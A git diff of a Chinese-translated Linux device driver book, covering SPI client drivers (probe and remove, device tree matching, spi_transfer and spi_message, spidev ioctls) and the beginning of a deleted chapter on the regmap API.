spi_device*`是输入参数,由内核赋予`probe`函数。它代表您正在探测的设备。在您的`probe`功能中,您可以使用`spi_get_device_id`(如果是`id_table match`)获得触发比赛的`spi_device_id`,并提取驾驶员数据: - -```sh -const struct spi_device_id *id = spi_get_device_id(spi); -my_private_data = array_chip_info[id->driver_data]; -``` - -# 每个设备的数据 - -在`probe`功能中,跟踪要在模块生命周期内使用的私有(每个设备)数据是一项常见任务。这已经在[第 7 章](07.html#5K7QA0-dbde2ca892a6480b9727afb6a9c9e924)、 *I2C 客户端驱动中讨论过。* - -以下是用于设置/获取每台设备数据的功能原型: - -```sh -/* set the data */ -void spi_set_drvdata(struct *spi_device, void *data); - -/* Get the data back */ - void *spi_get_drvdata(const struct *spi_device); -``` - -例如: - -```sh -struct mc33880 { - struct mutex lock; - u8 bar; - struct foo chip; - struct spi_device *spi; -}; - -static int mc33880_probe(struct spi_device *spi) -{ - struct mc33880 *mc; - [...] /* Device set up */ - - mc = devm_kzalloc(&spi->dev, sizeof(struct mc33880), - GFP_KERNEL); - if (!mc) - return -ENOMEM; - - mutex_init(&mc->lock); - spi_set_drvdata(spi, mc); - - mc->spi = spi; - mc->chip.label = DRIVER_NAME, - mc->chip.set = mc33880_set; - - /* Register with appropriate framework */ - [...] -} -``` - -# 移除()函数 - -`remove`功能必须释放在`probe`功能中抓取的每一个资源。其结构如下: - -```sh -static int my_remove(struct spi_device *spi); -``` - -典型的`remove`功能可能如下所示: - -```sh -static int mc33880_remove(struct spi_device *spi) -{ - struct mc33880 *mc; - mc = spi_get_drvdata(spi); /* Get our data back */ - if (!mc) - return -ENODEV; - - /* - * unregister from frameworks with which we registered in the - * probe function - */ - [...] - mutex_destroy(&mc->lock); - return 0; -} -``` - -# 驱动初始化和注册 - -对于坐在总线上的设备,无论是物理总线还是伪平台总线,大多数时候都是在`probe`功能中完成的。`init`和`exit`功能只是用于向总线核心注册/注销驱动: - -```sh -static int __init foo_init(void) -{ - [...] /*My init code */ - return spi_register_driver(&foo_driver); -} -module_init(foo_init); - -static void __exit foo_cleanup(void) -{ - [...] /* My clean up code */ - spi_unregister_driver(&foo_driver); -} -module_exit(foo_cleanup); -``` - -也就是说,如果您除了注册/注销驱动之外不做任何其他事情,内核会提供一个宏: - -```sh -module_spi_driver(foo_driver); -``` - -这将在内部调用`spi_register_driver`和`spi_unregister_driver`。这和我们在上一章看到的完全一样。 - -# 驱动和设备供应 - -由于 I2C 设备需要`i2c_device_id`,我们必须将`spi_device_id`用于 SPI 设备,以便提供一个`device_id`阵列来匹配我们的设备。在`include/linux/mod_devicetable.h`中定义: - -```sh -struct spi_device_id { - char name[SPI_NAME_SIZE]; - kernel_ulong_t driver_data; /* Data private to the driver */ -}; -``` - -我们需要将我们的数组嵌入到`struct spi_device_id`中,以便通知 SPI 内核我们需要在驱动中管理的设备 ID,并在驱动结构上调用`MODULE_DEVICE_TABLE`宏。当然,宏的第一个参数是设备所在总线的名称。在我们的例子中,它是 SPI: - -```sh -#define ID_FOR_FOO_DEVICE 0 -#define ID_FOR_BAR_DEVICE 1 - -static struct spi_device_id foo_idtable[] = { - { "foo", ID_FOR_FOO_DEVICE }, - { "bar", ID_FOR_BAR_DEVICE }, - { } -}; -MODULE_DEVICE_TABLE(spi, foo_idtable); - -static struct spi_driver foo_driver = { - .driver = { - .name = "KBUILD_MODULE", - }, - - .id_table = foo_idtable, - .probe = foo_probe, - .remove = foo_remove, -}; - -module_spi_driver(foo_driver); -``` - -# 在电路板配置文件中实例化 SPI 器件–旧的和折旧的方式 - -只有当系统不支持设备树时,才应该在板文件中实例化设备。既然设备树已经出现,这种实例化的方法就不推荐使用了。因此,让我们记住板文件驻留在`arch/`目录中。用来表示 SPI 设备的结构是`struct spi_board_info`,而不是我们在驱动中使用的`struct spi_device`。只有当您使用`spi_register_board_info`函数填充并注册了`struct spi_board_info`时,内核才会构建一个`struct spi_device`(它将被传递给您的驱动并注册到 SPI 内核)。 - -请随意查看`include/linux/spi/spi.h`中的`struct spi_board_info`字段。`spi_register_board_info`的定义可以在`drivers/spi/spi.c`中找到。现在,让我们看一下主板文件中的一些 SPI 器件注册: - -```sh -/** - * Our platform data - */ -struct my_platform_data { - int foo; - bool bar; -}; -static struct my_platform_data mpfd = { - .foo = 15, - .bar = true, -}; - -static struct spi_board_info - my_board_spi_board_info[] __initdata = { - { - /* the modalias must be same as spi device driver name */ - .modalias = "ad7887", /* Name of spi_driver for this device */ - .max_speed_hz = 1000000, /* max spi clock (SCK) speed in HZ */ - .bus_num = 0, /* Framework bus number */ - .irq = GPIO_IRQ(40), - .chip_select = 3, /* Framework chip select */ - .platform_data = &mpfd, - .mode = SPI_MODE_3, - },{ - .modalias = "spidev", - .chip_select = 0, - .max_speed_hz = 1 * 1000 * 1000, - .bus_num = 1, - .mode = SPI_MODE_3, - }, -}; - -static int __init board_init(void) -{ - [...] - spi_register_board_info(my_board_spi_board_info, ARRAY_SIZE(my_board_spi_board_info)); - [...] - - return 0; -} -[...] -``` - -# SPI 和设备树 - -与 I2C 器件一样,SPI 器件属于 DT 中的非存储器映射器件系列,但也是可寻址的。这里,地址是指给控制器(主机)的 CS 列表(从 0 开始)中的 CS 索引。例如,我们可能有三个不同的 SPI 设备位于 SPI 总线上,每个设备都有自己的 CS 线路。主机将获得一组 GPIO,每个 GPIO 代表一个 CS 来激活一个设备。如果设备 X 使用第二条 GPIO 线作为 CS,我们必须在`reg`属性中将其地址设置为 1(因为我们总是从 0 开始)。 - -以下是 SPI 设备的真实 DT 列表: - -```sh -ecspi1 { - fsl,spi-num-chipselects = <3>; - cs-gpios = <&gpio5 17 0>, <&gpio5 17 0>, <&gpio5 17 0>; - pinctrl-0 = <&pinctrl_ecspi1 &pinctrl_ecspi1_cs>; - #address-cells = <1>; - #size-cells = <0>; - compatible = "fsl,imx6q-ecspi", "fsl,imx51-ecspi"; - reg = <0x02008000 0x4000>; - status = "okay"; - - ad7606r8_0: ad7606r8@0 { - compatible = "ad7606-8"; - reg = <0>; - spi-max-frequency = <1000000>; - interrupt-parent = <&gpio4>; - interrupts = <30 0x0>; - }; - label: fake_spi_device@1 { - compatible = "packtpub,foobar-device"; - reg = <1>; - a-string-param = "stringvalue"; - spi-cs-high; - }; - mcp2515can: can@2 { - compatible = "microchip,mcp2515"; - reg = <2>; - spi-max-frequency = <1000000>; - clocks = <&clk8m>; - interrupt-parent = <&gpio4>; - interrupts = <29 IRQ_TYPE_LEVEL_LOW>; - }; -}; -``` - -SPI 设备节点引入了一个新属性:`spi-max-frequency`。它代表器件的最大 SPI 时钟速度,单位为赫兹。每当您访问该设备时,总线控制器驱动将确保时钟不会超过该限制。其他常用的属性有: - -* `spi-cpol`:这是一个布尔值(空属性),表示设备需要反时钟极性模式。它与 CPOL 相对应。 -* `spi-cpha`:这是一个空属性,表示设备需要移位时钟相位模式。它与 CPHA 相对应。 -* `spi-cs-high`:默认情况下,SPI 器件要求 CS 低电平有效。这是一个布尔属性,表示设备要求 CS 高电平有效。 - -也就是说,关于 SPI 绑定元素的完整列表,可以参考内核源码中的*Documentation/device tree/bindings/SPI/SPI-bus . txt*。 - -# 在设备树中实例化 SPI 设备——新方法 - -通过在 DT 中适当填充我们的设备节点,内核将为我们构建一个`struct spi_device`,并将其作为参数提供给我们的 SPI 核心功能。以下只是之前定义的 SPI DT 列表的摘录: - -```sh -&ecspi1 { - status = "okay"; - label: fake_spi_device@1 { - compatible = "packtpub,foobar-device"; - reg = <1>; - a-string-param = "stringvalue"; - spi-cs-high; - }; - }; -``` - -# 定义和注册 SPI 驱动 - -同样,这一原则与 I2C 司机的原则相同。我们需要定义一个`struct of_device_id`来匹配 DT 中的设备,并调用`MODULE_DEVICE_TABLE`宏来注册 OF 核心: - -```sh -static const struct of_device_id foobar_of_match[] = { - { .compatible = "packtpub,foobar-device" }, - { .compatible = "packtpub,barfoo-device" }, - {} -}; -MODULE_DEVICE_TABLE(of, foobar_of_match); -``` - -然后将我们的`spi_driver`定义如下: - -```sh -static struct spi_driver foo_driver = { - .driver = { - .name = "foo", - /* The following line adds Device tree */ - .of_match_table = of_match_ptr(foobar_of_match), - }, - .probe = my_spi_probe, - .id_table = foo_id, -}; -``` - -然后,您可以这样改进`probe`功能: - -```sh -static int my_spi_probe(struct spi_device *spi) -{ - const struct of_device_id *match; - match = of_match_device(of_match_ptr(foobar_of_match), &spi->dev); - if (match) { - /* Device tree code goes here */ - } else { - /* - * Platform data code comes here. - * One can use - * pdata = dev_get_platdata(&spi->dev); - * - * or *id*, which is a pointer on the *spi_device_id* entry that originated - * the match, in order to use *id->driver_data* to extract the device - * specific data, as described in Chapter 5, Platform Device Drivers. - */ - } - [...] -} -``` - -# 访问客户并与之交谈 - -SPI 输入/输出模型由一组排队的消息组成。我们提交一个或多个`struct spi_message`结构,同步或异步处理和完成。单个消息由一个或多个`structspi_transfer`对象组成,每个对象代表一个全双工 SPI 传输。这是驱动和设备之间交换数据的两种主要结构。它们在`include/linux/spi/spi.h`中都有定义: - -![](img/00016.jpeg) - -SPI message structure - -`struct spi_transfer`代表全双工 SPI 传输: - -```sh -struct spi_transfer { - const void *tx_buf; - void *rx_buf; - unsigned len; - - dma_addr_t tx_dma; - dma_addr_t rx_dma; - - unsigned cs_change:1; - unsigned tx_nbits:3; - unsigned rx_nbits:3; -#define SPI_NBITS_SINGLE 0x01 /* 1bit transfer */ -#define SPI_NBITS_DUAL 0x02 /* 2bits transfer */ -#define SPI_NBITS_QUAD 0x04 /* 4bits transfer */ - u8 bits_per_word; - u16 delay_usecs; - u32 speed_hz; -}; -``` - -以下是结构元素的含义: - -* `tx_buf`:该缓冲区包含要写入的数据。在只读事务的情况下,它应该为空或保持原样。在需要通过**直接内存访问** ( **DMA** )执行 SPI 事务的情况下,应该是`dma`-安全的。 -* `rx_buf`:这是一个用于数据读取的缓冲区(属性与`tx_buf`相同),或者在只写事务中为空。 -* `tx_dma`:这是`tx_buf`的 DMA 地址,以防`spi_message.is_dma_mapped`设置为`1`。直接存储器存取在[第 12 章](http://post)、*直接存储器存取*中讨论。 -* `rx_dma`:这个和`tx_dma`一样,但是对于`rx_buf`来说。 -* `len`:这表示`rx`和`tx`缓冲区的大小(以字节为单位),这意味着如果两者都使用,它们必须具有相同的大小。 -* `speed_hz`:这将覆盖`spi_device.max_speed_hz`中指定的默认速度,但仅适用于当前传输。如果是`0`,则使用默认值(在`struct spi_device`结构中提供)。 -* `bits_per_word`:数据传输涉及一个或多个字。一个字是一个数据单位,它的比特大小可以根据需要而变化。这里,`bits_per_word`表示该 SPI 传输的字的大小(以位为单位)。这将覆盖`spi_device.bits_per_word`中提供的默认值。如果是`0`,则使用默认值(来自`spi_device`)。 -* `cs_change`:这决定了本次转移完成后`chip_select`线的状态。 -* `delay_usecs`:这表示在(可选地)改变`chip_select`状态,然后开始下一次传输或完成本次`spi_message`之前,本次传输后的延迟(以微秒计)。 - -在另一侧,`struct spi_message`被原子性地用于包装一个或多个 SPI 传输。所使用的 SPI 总线将被驱动占用,直到构成消息的每个传输完成。`include/linux/spi/spi.h`中也定义了 SPI 消息结构: - -```sh - struct spi_message { - struct list_head transfers; - struct spi_device *spi; - unsigned is_dma_mapped:1; - /* completion is reported through a callback */ - void (*complete)(void *context); - void *context; - unsigned frame_length; - unsigned actual_length; - int status; - }; -``` - -* `transfers`:这是构成消息的传输列表。我们将在后面看到如何向该列表添加转移。 -* `is_dma_mapped`:这通知控制器是否使用 DMA(或不使用)来执行事务。然后,您的代码负责为每个传输缓冲区提供 DMA 和 CPU 虚拟地址。 -* `complete`:这是交易完成时调用的回调,`context`是要给回调的参数。 -* `frame_length`:这将根据消息中的字节总数自动设置。 -* `actual_length`:这是所有成功段中传输的字节数。 -* `status`:报告转账状态。零上成功,否则`-errno`。 - -`spi_transfer` elements in a message are processed in a FIFO order. Until the message is completed, you have to make sure not to use transfer buffer, in order to avoid data corruption. You make completion call to make sure one can. - -在消息被提交到总线之前,它必须用`void spi_message_init(struct spi_message *message),`初始化,这将使结构中的每个元素归零,并初始化`transfers`列表。对于要添加到消息中的每个转接,您应该在该转接上呼叫`void spi_message_add_tail(struct spi_transfer *t, struct spi_message *m)`,这将导致该转接进入`transfers`列表。完成后,您有两个选择来开始交易: - -* 同时,使用`int spi_sync(struct spi_device *spi, struct spi_message *message)`功能,该功能可以休眠,并且不在中断上下文中使用。这里不需要完成回调。这个函数是第二个函数(`spi_async()`)的包装器。 -* 异步使用`spi_async()`函数,该函数也可以在原子上下文中使用,其原型是`int spi_async(struct spi_device *spi, struct spi_message *message)`。最好在这里提供回调,因为它将在消息完成时执行。 - -以下是单个传输 SPI 消息事务可能的样子: - -```sh -char tx_buf[] = { - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0x40, 0x00, 0x00, 0x00, - 0x00, 0x95, 0xEF, 0xBA, 0xAD, - 0xF0, 0x0D, -}; - -char rx_buf[10] = {0,}; -int ret; -struct spi_message single_msg; -struct spi_transfer single_xfer; - -single_xfer.tx_buf = tx_buf; -single_xfer.rx_buf = rx_buf; -single_xfer.len = sizeof(tx_buff); -single_xfer.bits_per_word = 8; - -spi_message_init(&msg); -spi_message_add_tail(&xfer, &msg); -ret = spi_sync(spi, &msg); -``` - -现在让我们编写一个多转移消息事务: - -```sh -struct { - char buffer[10]; - char cmd[2] - int foo; -} data; - -struct data my_data[3]; -initialize_date(my_data, ARRAY_SIZE(my_data)); - -struct spi_transfer multi_xfer[3]; -struct spi_message single_msg; -int ret; - -multi_xfer[0].rx_buf = data[0].buffer; -multi_xfer[0].len = 5; -multi_xfer[0].cs_change = 1; -/* command A */ -multi_xfer[1].tx_buf = data[1].cmd; -multi_xfer[1].len = 2; -multi_xfer[1].cs_change = 1; -/* command B */ -multi_xfer[2].rx_buf = data[2].buffer; -multi_xfer[2].len = 10; - -spi_message_init(single_msg); -spi_message_add_tail(&multi_xfer[0], &single_msg); -spi_message_add_tail(&multi_xfer[1], &single_msg); -spi_message_add_tail(&multi_xfer[2], &single_msg); -ret = spi_sync(spi, &single_msg); -``` - -还有其他辅助功能,都是围绕`spi_sync()`构建的。其中一些是: - -```sh -int spi_read(struct spi_device *spi, void *buf, size_t len) -int spi_write(struct spi_device *spi, const void *buf, size_t len) -int spi_write_then_read(struct spi_device *spi, - const void *txbuf, unsigned n_tx, -void *rxbuf, unsigned n_rx) -``` - -请看`include/linux/spi/spi.h`查看完整列表。这些包装器应该用于少量数据。 - -# 把它们放在一起 - -编写 SPI 客户端驱动所需的步骤如下: - -1. 声明驱动支持的设备标识。你可以使用`spi_device_id`来完成。如果支持 DT,也可以使用`of_device_id`。你可以独家使用 DT。 -2. 调用`MODULE_DEVICE_TABLE(spi, my_id_table);`向 SPI 内核注册您的设备列表。如果支持 DT,您必须调用`MODULE_DEVICE_TABLE(of, your_of_match_table);`向`of`核注册您的设备列表。 -3. 根据各自的原型写出`probe`和`remove`函数。`probe`功能必须识别您的设备,对其进行配置,定义每设备(私有)数据,使用`spi_setup`功能在需要时配置总线(SPI 模式等),并向适当的内核框架注册。在`remove`功能中,只需撤销在`probe`功能中所做的一切。 -4. 声明并填充一个`struct spi_driver`结构,用您创建的标识数组设置`id_table`字段。用你所写的相应函数的名称设置`.probe`和`.remove`字段。在`.driver`子结构中,将`.owner`字段设置为`THIS_MODULE`,设置驱动名称,最后设置`.of_match_table`字段,数组为`of_device_id`,如果支持 DT。 -5. 用你刚才在`module_spi_driver(serial_eeprom_spi_driver);`之前填充的`spi_driver`结构调用`module_spi_driver`函数,以便向内核注册你的驱动。 - -# SPI 用户模式驱动 - -用户模式 SPI 设备驱动有两种使用方式。要做到这一点,您需要使用`spidev`驱动启用您的设备。一个例子如下: - -```sh -spidev@0x00 { - compatible = "spidev"; - spi-max-frequency = <800000>; /* It depends on your device */ - reg = <0>; /* correspond tochipselect 0 */ -}; -``` - -您可以调用读/写函数或`ioctl()`。通过调用读/写,您一次只能读或写。如果你需要全双工读写,你必须使用**输入输出控制** ( **ioctl** )命令。提供了两者的示例。这是读/写示例。您可以使用平台的交叉编译器或主板上的本机编译器进行编译: - -```sh -#include -#include -#include - -int main(int argc, char **argv) -{ - int i,fd; - char wr_buf[]={0xff,0x00,0x1f,0x0f}; - char rd_buf[10]; - - if (argc<2) { - printf("Usage:\n%s [device]\n", argv[0]); - exit(1); - } - - fd = open(argv[1], O_RDWR); - if (fd<=0) { - printf("Failed to open SPI device %s\n",argv[1]); - exit(1); - } - - if (write(fd, wr_buf, sizeof(wr_buf)) != sizeof(wr_buf)) - perror("Write Error"); - if (read(fd, rd_buf, sizeof(rd_buf)) != sizeof(rd_buf)) - perror("Read Error"); - else - for (i = 0; i < sizeof(rd_buf); i++) - printf("0x%02X ", rd_buf[i]); - - close(fd); - return 0; -} -``` - -# 使用 IOCTL - -使用 IOCTL 的好处是可以全双工工作。你能找到的最好的例子就是`documentation/spi/spidev_test.c`,当然是在内核源码树中。 - -也就是说,前面使用读/写的示例没有改变任何 SPI 配置。但是,内核向用户空间公开了一组 IOCTL 命令,您可以使用这些命令来根据需要设置总线,就像在 DT 中所做的那样。以下示例显示了如何更改总线设置: - -```sh - #include - #include - #include - #include - #include - #include - #include - #include - #include -static int pabort(const char *s) -{ - perror(s); - return -1; -} - -static int spi_device_setup(int fd) -{ - int mode, speed, a, b, i; - int bits = 8; - - /* - * spi mode: mode 0 - */ - mode = SPI_MODE_0; - a = ioctl(fd, SPI_IOC_WR_MODE, &mode); /* write mode */ - b = ioctl(fd, SPI_IOC_RD_MODE, &mode); /* read mode */ - if ((a < 0) || (b < 0)) { - return pabort("can't set spi mode"); - } - - /* - * Clock max speed in Hz - */ - speed = 8000000; /* 8 MHz */ - a = ioctl(fd, SPI_IOC_WR_MAX_SPEED_HZ, &speed); /* Write speed */ - b = ioctl(fd, SPI_IOC_RD_MAX_SPEED_HZ, &speed); /* Read speed */ - if ((a < 0) || (b < 0)) { - return pabort("fail to set max speed hz"); - } - - /* - * setting SPI to MSB first. - * Here, 0 means "not to use LSB first". - * In order to use LSB first, argument should be > 0 - */ - i = 0; - a = ioctl(dev, SPI_IOC_WR_LSB_FIRST, &i); - b = ioctl(dev, SPI_IOC_RD_LSB_FIRST, &i); - if ((a < 0) || (b < 0)) { - pabort("Fail to set MSB first\n"); - } - - /* - * setting SPI to 8 bits per word - */ - bits = 8; - a = ioctl(dev, SPI_IOC_WR_BITS_PER_WORD, &bits); - b = ioctl(dev, SPI_IOC_RD_BITS_PER_WORD, &bits); - if ((a < 0) || (b < 0)) { - pabort("Fail to set bits per word\n"); - } - - return 0; -} -``` - -有关 spidev ioctl 命令的更多信息,您可以查看*文档/spi/spidev* 。当需要通过总线发送数据时,您可以使用`SPI_IOC_MESSAGE(N)`请求,该请求提供全双工访问,以及无需 chipselect 去激活的复合操作,从而提供多传输支持。它相当于内核`spi_sync()`。这里的转移被表示为`struct spi_ioc_transfer`的一个实例,它相当于内核`struct spi_transfer`,其定义可以在`include/uapi/linux/spi/spidev.h`中找到。以下是用法示例: - -```sh -static void do_transfer(int fd) -{ - int ret; - char txbuf[] = {0x0B, 0x02, 0xB5}; - char rxbuf[3] = {0, }; - char cmd_buff = 0x9f; - - struct spi_ioc_transfer tr[2] = { - 0 = { - .tx_buf = (unsigned long)&cmd_buff, - .len = 1, - .cs_change = 1; /* We need CS to change */ - .delay_usecs = 50, /* wait after this transfer */ - .bits_per_word = 8, - }, - [1] = { - .tx_buf = (unsigned long)tx, - .rx_buf = (unsigned long)rx, - .len = txbuf(tx), - .bits_per_word = 8, - }, - }; - - ret = ioctl(fd, SPI_IOC_MESSAGE(2), &tr); - if (ret == 1){ - perror("can't send spi message"); - exit(1); - } - - for (ret = 0; ret < sizeof(tx); ret++) - printf("%.2X ", rx[ret]); - printf("\n"); -} - -int main(int argc, char **argv) -{ - char *device = "/dev/spidev0.0"; - int fd; - int error; - - fd = open(device, O_RDWR); - if (fd < 0) - return pabort("Can't open device "); - - error = spi_device_setup(fd); - if (error) - exit (1); - - do_transfer(fd); - - close(fd); - return 0; -} -``` - -# 摘要 - -我们刚刚处理了 SPI 驱动,现在可以利用这种更快的串行(和全双工)总线。我们通过 SPI 完成了数据传输,这是最重要的部分。也就是说,您可能需要更多的抽象,以便不去打扰 SPI 或 I2C API。这就是下一章的内容,涉及到 Regmap API,它提供了一个更高和统一的抽象层次,因此 SPI(或 I2C)命令对您来说将变得透明。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/09.md b/docs/linux-device-driver-dev/09.md deleted file mode 100644 index b5a0ea05..00000000 --- a/docs/linux-device-driver-dev/09.md +++ /dev/null @@ -1,557 +0,0 @@ -# 九、注册映射应用编程接口——注册映射抽象 - -在开发 regmap API 之前,处理 SPI 内核和/或 I2C 内核的设备驱动有冗余代码。原理是一样的;访问寄存器进行读/写操作。下图显示了在 Regmap 引入内核之前,SPI 或 I2C API 是如何独立的: - -![](img/00017.gif) - -SPI and I2C subsystems before regmap - -在内核的 3.1 版本中引入了 regmap API,以分解和统一内核开发人员访问 SPI/I2C 设备的方式。接下来的问题就是如何初始化、配置 regmap,并流畅地处理任何读/写/修改操作,无论是 SPI 还是 I2C: - -![](img/00018.jpeg) - -SPI and I2C subsystems after regmap - -本章将通过以下方式浏览 regmap 框架: - -* 介绍 regmap 框架使用的主要数据结构 -* 浏览注册表配置 -* 使用注册表应用编程接口访问设备 -* 介绍 regmap 缓存系统 -* 提供了一个完整的驱动,总结了以前学习的概念 - -# 用注册表应用编程接口编程 - -regmap API 非常简单。只有几个结构需要知道。这个 API 最重要的两个结构是`struct regmap_config`,它代表了 regmap 的配置,以及`struct regmap`,它是 regmap 实例本身。所有的 regmap 数据结构都在`include/linux/regmap.h`中定义。 - -# regmap_config 结构 - -`struct regmap_config`存储驱动生命周期内 regmap 的配置。您在此设置的内容会影响读/写操作。它是 regmap API 中最重要的结构。来源如下: - -```sh -struct regmap_config { - const char *name; - - int reg_bits; - int reg_stride; - int pad_bits; - int val_bits; - - bool (*writeable_reg)(struct device *dev, unsigned int reg); - bool (*readable_reg)(struct device *dev, unsigned int reg); - bool (*volatile_reg)(struct device *dev, unsigned int reg); - bool (*precious_reg)(struct device *dev, unsigned int reg); - regmap_lock lock; - regmap_unlock unlock; - void *lock_arg; - - int (*reg_read)(void *context, unsigned int reg, - unsigned int *val); - int (*reg_write)(void *context, unsigned int reg, - unsigned int val); - - bool fast_io; - - unsigned int max_register; - const struct regmap_access_table *wr_table; - const struct regmap_access_table *rd_table; - const struct regmap_access_table *volatile_table; - const struct regmap_access_table *precious_table; - const struct reg_default *reg_defaults; - unsigned int num_reg_defaults; - enum regcache_type cache_type; - const void *reg_defaults_raw; - unsigned int num_reg_defaults_raw; - - u8 read_flag_mask; - u8 write_flag_mask; - - bool use_single_rw; - bool can_multi_write; - - enum regmap_endian reg_format_endian; - enum regmap_endian val_format_endian; - const struct regmap_range_cfg *ranges; - unsigned int num_ranges; -} -``` - -* `reg_bits`:这个强制字段是寄存器地址的位数。 -* `val_bits`:这表示用于存储寄存器值的位数。这是一个必填字段。 -* `writeable_reg`:这是可选的回调函数。如果提供的话,它由 regmap 子系统在需要写入寄存器时使用。在写入寄存器之前,会自动调用该函数来检查寄存器是否可以写入: - -```sh -static bool foo_writeable_register(struct device *dev, - unsigned int reg) -{ - switch (reg) { - case 0x30 ... 0x38: - case 0x40 ... 0x45: - case 0x50 ... 0x57: - case 0x60 ... 0x6e: - case 0x70 ... 0x75: - case 0x80 ... 0x85: - case 0x90 ... 0x95: - case 0xa0 ... 0xa5: - case 0xb0 ... 0xb2: - return true; - default: - return false; - } -} -``` - -* `readable_reg`:这与`writeable_reg`相同,但是对于每个寄存器读取操作。 -* `volatile_reg`:这是每次需要通过 regmap 缓存读取或写入寄存器时调用的回调函数。如果寄存器是易失性的,函数应该返回 true。然后对寄存器执行直接读/写。如果返回 false,则意味着寄存器是可缓存的。在这种情况下,缓存将用于读取操作,而在写入操作的情况下,缓存将被写入: - -```sh -static bool foo_volatile_register(struct device *dev, - unsigned int reg) -{ - switch (reg) { - case 0x24 ... 0x29: - case 0xb6 ... 0xb8: - return true; - default: - return false; - } -} -``` - -* `wr_table`:不提供`writeable_reg`回调,可以提供一个`regmap_access_table`,这是一个持有`yes_range`和`no_range`字段的结构,两个指针都指向`struct regmap_range`。属于`yes_range`条目的任何寄存器都被认为是可写的,如果属于`no_range`,则被认为是不可写的。 -* `rd_table`:这个和`wr_table`一样,但是对于任何读操作。 -* `volatile_table`:代替`volatile_reg`,可以提供`volatile_table`。原理与`wr_table`或`rd_table`相同,但缓存机制不同。 -* `max_register`:这是可选的,它指定了最大有效寄存器地址,在该地址上不允许任何操作。 -* `reg_read`:您的设备可能不支持简单的 I2C/SPI 读取操作。然后,您将别无选择,只能编写自己定制的读取函数。`reg_read`应该指向该函数。也就是说大多数设备不需要这个。 -* `reg_write`:这个和`reg_read`一样,只是写操作。 - -我强烈建议您查看`include/linux/regmap.h`了解每个元素的更多细节。 - -以下是`regmap_config`的一种初始化: - -```sh -static const struct regmap_config regmap_config = { - .reg_bits = 8, - .val_bits = 8, - .max_register = LM3533_REG_MAX, - .readable_reg = lm3533_readable_register, - .volatile_reg = lm3533_volatile_register, - .precious_reg = lm3533_precious_register, -}; -``` - -# 注册表初始化 - -正如我们之前所说的,regmap API 支持 SPI 和 I2C 协议。根据您需要在驱动中支持的协议,您必须在`probe`功能中调用`regmap_init_i2c()`或`regmap_init_sp()i`。要编写通用驱动,regmap 是最好的选择。 - -regmap 应用编程接口是通用的和同构的。只有总线类型之间的初始化会发生变化。其他功能都一样。 - -It is a good practice to always initialize the regmap in the `probe` function, and one must always fill the `regmap_config` elements prior to initializing the regmap. - -无论是分配了 I2C 寄存器映射还是 SPI 寄存器映射,都可以通过`regmap_exit`功能释放: - -```sh -void regmap_exit(struct regmap *map) -``` - -这个函数只是释放一个先前分配的寄存器映射。 - -# SPI 初始化 - -Regmap SPI 初始化包括设置 Regmap,以便任何设备访问都将在内部转换为 SPI 命令。起作用的是`regmap_init_spi()`。 - -```sh -struct regmap * regmap_init_spi(struct spi_device *spi, -const struct regmap_config); -``` - -它采用一个指向`struct spi_device`结构的有效指针作为参数,该结构是将要与之交互的 SPI 设备,以及一个表示注册表配置的`struct regmap_config`。这个函数在成功时返回一个指向分配的结构 regmap 的指针,或者在出错时返回一个`ERR_PTR()`值。 - -完整的示例如下: - -```sh -static int foo_spi_probe(struct spi_device *client) -{ - int err; - struct regmap *my_regmap; - struct regmap_config bmp085_regmap_config; - - /* fill bmp085_regmap_config somewhere */ - [...] - client->bits_per_word = 8; - - my_regmap = - regmap_init_spi(client,&bmp085_regmap_config); - - if (IS_ERR(my_regmap)) { - err = PTR_ERR(my_regmap); - dev_err(&client->dev, "Failed to init regmap: %d\n", err); - return err; - } - [...] -} -``` - -# I2C 初始化 - -另一方面,I2C 注册表初始化包括在注册表配置上调用`regmap_init_i2c()`,这将配置注册表,以便任何设备访问将在内部转换为 I2C 命令: - -```sh -struct regmap * regmap_init_i2c(struct i2c_client *i2c, -const struct regmap_config); -``` - -该函数以一个`struct i2c_client`结构作为参数,它是用于交互的 I2C 设备,同时还有一个指向`struct regmap_config`的指针,它代表 regmap 的配置。该函数成功时返回一个指向分配的`struct regmap`的指针,或者错误时返回一个`ERR_PTR()`值。 - -一个完整的例子是: - -```sh -static int bar_i2c_probe(struct i2c_client *i2c, -const struct i2c_device_id *id) -{ - struct my_struct * bar_struct; - struct regmap_config regmap_cfg; - - /* fill regmap_cfgsome where */ - [...] - bar_struct = kzalloc(&i2c->dev, -sizeof(*my_struct), GFP_KERNEL); - if (!bar_struct) - return -ENOMEM; - - i2c_set_clientdata(i2c, bar_struct); - - bar_struct->regmap = regmap_init_i2c(i2c, -®map_config); - if (IS_ERR(bar_struct->regmap)) - return PTR_ERR(bar_struct->regmap); - - bar_struct->dev = &i2c->dev; - bar_struct->irq = i2c->irq; - [...] -} -``` - -# 设备访问功能 - -该应用编程接口处理数据解析、格式化和传输。在大多数情况下,设备访问通过`regmap_read`、`regmap_write`和`regmap_update_bits`执行。在向/从设备存储/提取数据时,您应该始终记住这三个最重要的功能。它们各自的原型是: - -```sh -int regmap_read(struct regmap *map, unsigned int reg, - unsigned int *val); -int regmap_write(struct regmap *map, unsigned int reg, - unsigned int val); -int regmap_update_bits(struct regmap *map, unsigned int reg, - unsigned int mask, unsigned int val); -``` - -* `regmap_write`:这将数据写入设备。如果在`regmap_config`、`max_register`中设置,将用于检查需要读取的寄存器地址是大还是小。如果传递的寄存器地址小于或等于,`max_register`,则执行写操作;否则,注册表核心将返回无效的输入/输出错误(`-EIO`)。紧接着,调用`writeable_reg`回调。回调必须返回`true`才能继续下一步。如果返回`false`,则返回`-EIO`,写操作停止。如果设置`wr_table`而不是`writeable_reg`,那么: - * 如果寄存器地址位于`no_range`,则返回`-EIO`。 - * 如果寄存器地址位于`yes_range`,则执行下一步。 - * 如果寄存器地址既不在`yes_range`也不在`no_range`中,则返回`-EIO`,操作终止。 - * 如果`cache_type != REGCACHE_NONE`,则启用缓存。在这种情况下,首先更新缓存条目,然后执行对硬件的写入;否则,将执行无缓存操作。 - * 如果提供`reg_write`回调,则用于执行写操作;否则,将执行通用 regmap 写函数。 -* `regmap_read`:从设备读取数据。它的工作原理与具有适当数据结构的`regmap_write`(T2)和`rd_table`完全一样。因此,如果提供,`reg_read`用于执行读取操作;否则,将执行通用重新映射读取功能。 - -# regmap_update_bits 函数 - -`regmap_update_bits`是三合一功能。其原型如下: - -```sh -int regmap_update_bits(struct regmap *map, unsigned int reg, - unsigned int mask, unsigned int val) -``` - 